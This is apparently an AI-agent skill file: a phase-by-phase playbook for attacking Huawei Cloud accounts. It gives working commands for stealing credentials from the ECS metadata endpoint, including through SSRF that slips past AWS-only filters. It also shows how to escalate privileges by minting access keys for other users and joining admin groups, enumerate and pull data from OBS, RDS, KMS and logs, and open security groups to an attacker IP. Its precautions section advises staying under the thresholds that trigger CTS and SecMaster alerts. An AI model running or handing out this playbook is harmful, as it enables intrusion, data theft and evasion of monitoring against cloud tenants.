Huawei Cloud IAM/ECS/OBS/RDS/CCE and other services constitute the main attack surface. The biggest difference from AWS/Alibaba Cloud/Tencent Cloud is that Huawei Cloud usesthree independent CLI interfaces(openstack CLI, obsutil, REST API), and its IAM is implemented based on OpenStack Keystone, and the metadata endpoint uses the standard 169.254.169.254 but the path is OpenStack-style. This skill takes the penetration phases (Phase) as the main thread, from credential identification to exploitation of each service, providing a complete attack path.
⛔ In-depth reference (required reading)
After identifying the specific attack service, load the corresponding reference document to obtain complete technical details:
- Detailed exploitation of compute/storage/database → read references/compute-storage-attacks.md
- Detailed exploitation of container/Serverless/logs/KMS → read references/platform-services-attacks.md
Phase 1: Environment identification
After obtaining a Huawei Cloud-related target, first identify the credential type, confirm the available CLI interfaces, and determine the network location.
1.1 Credential types
| Credential type | Identification characteristics | Validity period | Acquisition method |
|---|---|---|---|
| Long-term AK/SK | AccessKeyId + SecretAccessKey | Permanent (until manually rotated) | Created in IAM console / code leak |
| IAM Token | X-Auth-Token (Keystone-style) | 24 hours by default | Exchanged with username and password / AK/SK signature |
| Temporary security credentials | AK/SK + SecurityToken | 15 minutes ~ 24 hours | IAM Agency (delegation) |
| IAM Agency (delegation) | Similar to AWS AssumeRole | According to Token validity period | Cross-account/service delegation |
1.2 Three CLI interfaces (unique to Huawei Cloud)
Huawei Cloud uses three different command-line interfaces, which is a core difference that must be understood during penetration testing:
| Interface | Covered services | Authentication method | Installation |
|---|---|---|---|
| openstack CLI | IAM / ECS / security groups | Environment variables or clouds.yaml |
pip install python-openstackclient |
| obsutil | OBS object storage | obsutil config -i AK -k SK -e endpoint |
Download the binary from the Huawei Cloud official website |
| curl + REST API | RDS / ELB / CCE / FunctionGraph / LTS / KMS | X-Auth-Token Header |
Built into the system |
# openstack CLI 配置（环境变量方式）
export OS_AUTH_URL=https://iam.{region}.myhuaweicloud.com/v3
export OS_PROJECT_NAME={region}
export OS_USERNAME=USERNAME
export OS_PASSWORD=PASSWORD
export OS_DOMAIN_NAME=DOMAIN_NAME
# openstack CLI 配置验证
openstack token issue
# obsutil 配置
obsutil config -i ACCESS_KEY_ID -k SECRET_ACCESS_KEY \
-e https://obs.{region}.myhuaweicloud.com
# obsutil 验证
obsutil ls -limit=1
1.3 Obtaining an IAM Token (prerequisite for REST API)
Huawei Cloud REST API calls require first obtaining an X-Auth-Token through IAM:
# 用户名密码方式获取 Token
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3/auth/tokens" \
-H "Content-Type: application/json" \
-d '{
"auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"domain": {"name": "DOMAIN_NAME"},
"name": "USERNAME",
"password": "PASSWORD"
}
}
},
"scope": {
"project": {"name": "{region}"}
}
}
}'
# Token 在响应头 X-Subject-Token 中返回，有效期默认 24 小时
TOKEN=$(curl -sI ... | grep X-Subject-Token | awk '{print $2}' | tr -d '\r')
# 如果有 AK/SK 但无用户名密码
# 华为云 AK/SK 签名较复杂，建议使用 SDK
pip install huaweicloudsdkcore huaweicloudsdkiam
1.4 Metadata endpoint
The Huawei Cloud ECS metadata endpoint uses the standard IP 169.254.169.254, but the path is OpenStack-style:
# 判断是否在 ECS 实例内部
curl -s http://169.254.169.254/openstack/latest/meta_data.json
# 获取实例绑定的 IAM Agency 凭据
curl -s http://169.254.169.254/openstack/latest/securitykey
# 获取实例 ID 和项目 ID
curl -s http://169.254.169.254/openstack/latest/meta_data.json | python3 -m json.tool
# 关注字段: uuid (实例 ID), project_id, availability_zone
# 获取 User-Data（可能包含初始化脚本中的凭据）
curl -s http://169.254.169.254/openstack/latest/user_data
Note: The Huawei Cloud metadata IP is the same as AWS (169.254.169.254), but the path uses the OpenStack format (/openstack/latest/). Some SSRF protections, if they only block the AWS path /latest/meta-data/ but do not block the OpenStack path, can still be exploited.
1.5 Object storage URL format
公网访问: https://{bucket}.obs.{region}.myhuaweicloud.com/{object}
Discovering the obs.*.myhuaweicloud.com domain confirms that the target uses Huawei Cloud OBS. Bucket names are globally unique.
1.6 Region codes
| Region code | Location | Notes |
|---|---|---|
| cn-north-4 | CN North-Beijing 4 | Most commonly used region |
| cn-north-1 | CN North-Beijing 1 | |
| cn-east-3 | CN East-Shanghai 1 | |
| cn-east-2 | CN East-Shanghai 2 | |
| cn-south-1 | CN South-Guangzhou | |
| cn-southwest-2 | CN Southwest-Guiyang 1 | |
| ap-southeast-1 | Asia Pacific-Hong Kong | No ICP filing required |
| ap-southeast-3 | Asia Pacific-Singapore | Overseas region |
Enumeration requires traversing multiple regions. IAM is a global service (iam.myhuaweicloud.com), while ECS/OBS/RDS, etc. need to be operated region by region.
1.7 IAM Identity Model
Huawei Cloud IAM is based on OpenStack Keystone and uses a three-level hierarchy of Domain / Project / User:
| Concept | Huawei Cloud IAM | AWS IAM |
|---|---|---|
| Top-level account | Domain (domain, including Domain ID) | Account (including Account ID) |
| Project/region isolation | Project (one Project per region) | No direct equivalent (Region concept) |
| User | User (belongs to Domain) | IAM User |
| Role/Agency | Agency (delegation, similar to AssumeRole) | IAM Role |
| User group | Group (users inherit after permissions are bound) | IAM Group |
# 查看当前用户信息 [openstack]
openstack user show $(openstack token issue -f value -c user_id)
# 列出所有用户 [openstack]
openstack user list
# 查看角色分配 [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID
Phase 2: Attack Decision Tree
Based on the currently held credentials/location, determine the attack path (each branch is annotated with the interface used):
当前持有什么？
├── 无凭据
│ ├── 有目标域名 → OBS Bucket 枚举 [curl]（猜解 bucket 名 + 公开访问检测）
│ ├── 有 SSRF 漏洞 → 打 http://169.254.169.254/openstack/latest/ [curl]
│ └── 仅知组织名 → OSINT + OBS/子域名枚举 [curl]
│
├── 有 AK/SK
│ ├── 配置 openstack CLI + obsutil + 获取 Token
│ ├── 验证: openstack token issue [openstack]
│ ├── 有 IAM 写权限 → Phase 3（IAM 提权）[openstack]
│ ├── 有 ECS 权限 → Phase 4（计算/存储）[openstack]
│ ├── 有 OBS 权限 → Phase 4（对象存储）[obsutil]
│ ├── 有 RDS/ELB 权限 → Phase 4（数据库/LB）[REST API]
│ └── 权限不明 → 逐服务探测（三种接口分别测试）
│
├── 有用户名密码（IAM 账号）
│ ├── 获取 Token: POST /v3/auth/tokens [REST API]
│ ├── 配置 openstack CLI [openstack]
│ └── 根据权限进入对应 Phase
│
├── 在 ECS 实例内部
│ ├── 获取元数据凭据 [curl] → 根据权限进入对应 Phase
│ └── 检查 User-Data 中是否有硬编码凭据 [curl]
│
└── 有容器环境（CCE Pod 内部）
├── 检查 ServiceAccount Token [kubectl]
├── 尝试访问元数据服务 [curl]
└── → Phase 5（容器/Serverless）[REST API + kubectl]
Phase 3: IAM Privilege Escalation Quick Reference
Huawei Cloud IAM is based on OpenStack Keystone and uses the openstack CLI for operations.
3.1 Information Gathering
# 列出所有用户 [openstack]
openstack user list
# 查看指定用户详情 [openstack]
openstack user show USER_ID
# 列出角色分配 [openstack]
openstack role assignment list --user USER_ID --project PROJECT_ID
# 列出所有项目（Region 对应的 Project）[openstack]
openstack project list
3.2 Privilege Escalation Paths
| Privilege Escalation Path | Required Permissions | Interface | Operation |
|---|---|---|---|
| Create AK/SK | IAM credential management permissions | REST API | Create permanent access keys for high-privilege users |
| Modify user password | iam:user:setPassword |
openstack | Reset another user's password to obtain their permissions |
| Create IAM Agency | iam:agency:createAgency |
REST API | Create a delegation relationship to obtain permissions of other accounts |
| Modify user group | iam:group:addUser |
openstack | Add yourself to a high-privilege user group |
| PassRole + Create ECS | Agency binding + ECS creation | openstack | Launch an ECS bound to a high-privilege Agency |
| PassRole + Create FunctionGraph | Agency binding + function creation | REST API | Create a function bound to a high-privilege Agency |
# 提权示例：为高权限用户创建永久 AK/SK [REST API]
curl -X POST "https://iam.{region}.myhuaweicloud.com/v3.0/OS-CREDENTIAL/credentials" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"credential": {"user_id": "TARGET_USER_ID", "description": "backup"}}'
# 返回 access (AK) 和 secret (SK)
# 提权示例：将自身加入管理员组 [openstack]
openstack group add user ADMIN_GROUP_ID CURRENT_USER_ID
Phase 4: Compute/Storage/Database Quick Reference
ECS Cloud Server [openstack]
# 列出所有实例
openstack server list --long
# 获取实例详情（关注安全组、绑定 IP、状态）
openstack server show SERVER_ID
→ Read references/compute-storage-attacks.md for the complete process of obtaining the VNC console, password extraction, and metadata exploitation
OBS Object Storage [obsutil]
# 列出所有 Bucket → 列出对象 → 下载敏感文件
obsutil ls
obsutil ls obs://BUCKET_NAME/ -limit=100
→ Read references/compute-storage-attacks.md for the complete process of ACL modification, batch download, and public access detection
RDS Database [REST API]
# 列出数据库实例
curl -X GET "https://rds.{region}.myhuaweicloud.com/v3/{project_id}/instances" \
-H "X-Auth-Token: $TOKEN"
→ Read references/compute-storage-attacks.md for the complete process of account creation, backup download, and data export
ELB Load Balancing [REST API]
# 列出负载均衡实例
curl -X GET "https://elb.{region}.myhuaweicloud.com/v2/{project_id}/elb/loadbalancers" \
-H "X-Auth-Token: $TOKEN"
→ Read references/compute-storage-attacks.md for the complete process of backend tampering and traffic hijacking
Phase 5: Container/Serverless/Logs/KMS Quick Reference
CCE Container Engine [REST API + kubectl]
# 列出集群
curl -X GET "https://cce.{region}.myhuaweicloud.com/api/v3/projects/{project_id}/clusters" \
-H "X-Auth-Token: $TOKEN"
# 获取 kubeconfig 后使用 kubectl 操作集群
→ Read references/platform-services-attacks.md for the complete process of cluster takeover, kubeconfig extraction, and privileged Pod creation
FunctionGraph Function Compute [REST API]
# 列出函数（注意 URN 格式）
curl -X GET "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions" \
-H "X-Auth-Token: $TOKEN"
→ Read references/platform-services-attacks.md Obtain the complete process for code extraction, environment variable leakage, and function configuration
LTS Log Service [REST API]
# 列出日志组
curl -X GET "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups" \
-H "X-Auth-Token: $TOKEN"
→ Read references/platform-services-attacks.md Obtain the complete process for sensitive log search and batch export
KMS Key Management [REST API]
# 列出密钥
curl -X GET "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/keys" \
-H "X-Auth-Token: $TOKEN"
→ Read references/platform-services-attacks.md Obtain the complete process for key enumeration and data decryption
Phase 6: Security Group Manipulation
Security groups are the network access control layer of Huawei Cloud ECS, operated using the openstack CLI.
# 列出所有安全组 [openstack]
openstack security group list
# 查看安全组规则 [openstack]
openstack security group rule list SG_ID
# 添加入方向规则 — 仅开放攻击者 IP 的 SSH [openstack]
openstack security group rule create --proto tcp --dst-port 22 \
--remote-ip ATTACKER_IP/32 SG_ID
# 危险操作 — 开放所有端口（极高告警风险）[openstack]
openstack security group rule create --proto tcp --dst-port 1:65535 \
--remote-ip 0.0.0.0/0 SG_ID
Basis for judgment: Operate security groups only when a reverse connection needs to be established or internal services need to be accessed directly. Prefer using the minimum port range + specified source IP to avoid triggering Security Cloud Brain (SecMaster) alerts.
Tool Quick Reference
| Tool | Purpose | Interface Type | Installation/Usage |
|---|---|---|---|
| openstack CLI | IAM/ECS/Security group operations | openstack | pip install python-openstackclient |
| obsutil | OBS object storage operations | obsutil | Download the binary from the Huawei Cloud official website |
| curl | REST API calls + metadata probing | REST API | Built into the system |
| hcloud CLI | Huawei Cloud official CLI (replaces curl in some scenarios) | REST API | Download from the Huawei Cloud official website |
| kubectl | CCE cluster operations | kubectl | Use after obtaining kubeconfig |
| huaweicloudsdkcore | Python SDK (AK/SK signing) | SDK | pip install huaweicloudsdkcore |
Precautions
CTS audit awareness: Huawei Cloud CTS (Cloud Trace Service) records management event API calls (similar to AWS CloudTrail). The following operations generate high-visibility logs:
- IAM changes (creating users, creating AK/SK, modifying user groups)
- Agency creation and modification
- Security group rule changes
Security Cloud Brain detection: Huawei Cloud Security Cloud Brain (SecMaster) detects:
- Abnormal AK/SK calls (abnormal IP, abnormal time, abnormal API frequency)
- Abnormal ECS logins (IPs from uncommon regions)
- Abnormally open security group rules
- OBS Bucket ACL changed to public
Rate limiting: Huawei Cloud APIs have rate-limiting mechanisms; it is recommended to control the frequency during enumeration. Triggering rate limiting returns HTTP 429 or APIGW error.
Region traversal: Huawei Cloud resources are isolated by region. IAM is a global service, but ECS/OBS/RDS, etc. need to be enumerated region by region. Note: each region corresponds to an independent OpenStack Project.
Authentication isolation of the three interfaces: The openstack CLI uses environment variable authentication, obsutil uses an independent AK/SK configuration, and the REST API uses X-Auth-Token. When switching regions, the configurations of the three tools need to be updated separately.